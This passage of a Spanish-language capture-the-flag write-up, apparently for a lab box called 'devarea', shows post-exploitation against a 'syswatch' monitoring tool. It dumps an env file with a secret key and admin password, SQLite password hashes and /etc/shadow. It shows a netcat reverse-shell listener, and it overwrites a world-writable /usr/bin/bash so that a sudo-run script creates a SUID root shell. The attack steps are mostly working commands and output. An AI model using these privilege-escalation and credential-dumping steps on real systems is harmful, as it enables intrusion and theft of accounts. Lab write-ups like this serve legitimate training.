0 2025-12-13 16:00 syswatch/syswatch_gui/
13 2025-12-10 02:37 syswatch/syswatch_gui/requirements.txt
0 2025-12-11 02:37 syswatch/syswatch_gui/templates/
2739 2025-12-11 20:25 syswatch/syswatch_gui/templates/service_status.html
1466 2025-12-12 14:44 syswatch/syswatch_gui/templates/login.html
2439 2025-12-11 20:25 syswatch/syswatch_gui/templates/index.html
2211 2025-12-11 20:42 syswatch/syswatch_gui/templates/docs.html
7675 2025-12-13 19:27 syswatch/syswatch_gui/app.py
16384 2025-12-12 21:37 syswatch/syswatch_gui/syswatch.db
0 2025-12-11 02:37 syswatch/syswatch_gui/static/
5350 2025-12-11 20:39 syswatch/syswatch_gui/static/style.css
265 2025-12-10 20:47 syswatch/monitor.sh
0 2025-12-10 14:33 syswatch/plugins/
1002 2025-12-12 15:03 syswatch/plugins/disk_monitor.sh
1006 2025-12-10 21:05 syswatch/plugins/network_monitor.sh
752 2025-12-10 21:04 syswatch/plugins/cpu_mem_monitor.sh
1267 2025-12-10 21:05 syswatch/plugins/log_monitor.sh
865 2025-12-10 21:04 syswatch/plugins/service_monitor.sh
563 2025-12-12 18:22 syswatch/plugins/common.sh
6103 2025-12-14 13:37 syswatch/syswatch.sh
0 2025-12-12 21:37 syswatch/backup/
0 2025-12-10 02:37 syswatch/config/
619 2025-12-12 15:04 syswatch/config/syswatch.conf
3407 2025-12-13 16:00 syswatch/setup.sh
--------- -------
54126 31 files
$
|
Tambien encontramos el servicio y credenciales.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
$ cat /etc/systemd/system/syswatch-web.service
[Unit]
Description=SysWatch Web GUI
After=network.target
[Service]
Type=simple
User=syswatch
Group=syswatch
EnvironmentFile=/etc/syswatch.env
WorkingDirectory=/opt/syswatch/syswatch_gui
ExecStart=/opt/syswatch/venv/bin/python /opt/syswatch/syswatch_gui/app.py
Restart=on-failure
[Install]
WantedBy=multi-user.target
$ cat /etc/syswatch.env
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0
$
|
La base de datos almacena credenciales.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
dev_ryan@devarea:/dev/shm/syswatch/syswatch/syswatch_gui$ sqlite3
sqlite3
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open syswatch.db
.open syswatch.db
sqlite> .tables
.tables
users
sqlite> select * from users;
select * from users;
1|admin|scrypt:32768:8:1$IyKfiteB3TNFK6Hv$a0fbf5283db6a13859776827133e99d4d5ab43e85bedd05b06119e6fdca096ac81570d4497a836d09a155884182b6442cfcf6986b96310b514f34d9da871cb70
sqlite>
|
Writable Bash
Linpeas muestra que tenemos permisos de escritura sobre /usr/bin/bash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
# [... skip ...]
/tmp/hsperfdata_dev_ryan
/tmp/hsperfdata_dev_ryan/1456
/tmp/.ICE-unix
/tmp/tmux-1001
/tmp/.X11-unix
/tmp/.XIM-unix
/usr/bin/bash
/var/crash
/var/tmp
/var/www/devarea/assets/css/style.css
/var/www/devarea/index.html
|
syswatch.sh ejecuta bash mediante #!/bin/bash (/bin es un enlace simbolico a /usr/bin) como root. Con esto, al modificar /usr/bin/bash lograriamos escalar privilegios. Para ello creamos un backup de bash, creamos un script para darle permisos SUID a una copia de bash. El unico problema, bash esta siendo usado por nuestra shell por lo que debemos de cambiar a una shell diferente.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
$ env
USER=dev_ryan
SHLVL=2
HOME=/home/dev_ryan
OLDPWD=/home/dev_ryan
SYSTEMD_EXEC_PID=1457
LOGNAME=dev_ryan
JOURNAL_STREAM=8:18967
_=user.txt
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/hoverfly.service/memory.pressure
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin
INVOCATION_ID=0296cd4770de49cca5d65b27c345b0be
LANG=en_US.UTF-8
SHELL=/bin/bash
PWD=/home/dev_ryan
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
$
|
Obtuvimos nuevamente una shell, esta vez con dash a traves de Hoverfly.
1
2
3
4
5
6
7
|
❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.43] from devarea.htb [10.129.14.70] 47426
/bin/dash: 0: can't access tty; job control turned off
$ echo $0
/bin/dash
$
|
Iniciamos realizando una copia de bash la cual utilizamos en nuestro script. Ejecutamos syswatch.sh como root el cual ejecutaria nuestro script anterior. Ejecutamos bash en modo privilegiado logrando acceso root y la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
$ cp /usr/bin/bash /tmp/backupbash
$ echo "#!/tmp/backupbash\ncp /tmp/backupbash /tmp/rootbsh\n/usr/bin/chmod u+s /tmp/rootbsh" > /usr/bin/bash
$ cat /usr/bin/bash
#!/tmp/backupbash
cp /tmp/backupbash /tmp/rootbsh
/usr/bin/chmod u+s /tmp/rootbsh
$ sudo /opt/syswatch/syswatch.sh --version
$ ls -lah /tmp/rootbsh
-rwsr-xr-x 1 root root 1.4M Apr 4 11:31 /tmp/rootbsh
$ /tmp/rootbsh -p
id
uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) groups=1001(dev_ryan)
cd /root
cat root.txt
1fa0fbe5518f453371c5f9b72004ea2b
|
Dump Hashes
Realizamos la lectura del archivo /etc/shadow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
cat /etc/shadow
root:$y$j9T$0KQ.TnjYkG3YsYKhdzY2I.$lGbupe1hBuVMuNFnjOfL4Oo7kFUTHPv2ocodVgqmdr9:20353:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20352::::::
sshd:!:20352::::::
dev_ryan:$y$j9T$t5/suSaGphAFyqbUrcypA0$bR4iuQ6FFg.uhngaqsLVU6RShFcZK3qdKIm3X7Zuo37:20352:0:99999:7:::
ftp:!:20353::::::
syswatch:!:20434::::::
postfix:!:20434::::::
_laurel:!:20522::::::
dhcpcd:!:20534::::::
|
More Hashes
Encontramos el hash del usuario admin para la aplicacion Syswatch.
1
2
3
4
5
6
|
sqlite3
.open syswatch.db
.tables
users
select * from users;
1|admin|scrypt:32768:8:1$GAgktX2W2myS1aNV$e7069af2636e86182c586f6853b8e8c33ccc51a3b140933286398d10daacd540e4cd0979c9c809a646b688d5155e87f7da04074164b70f8584254a2f67ff1fd7
|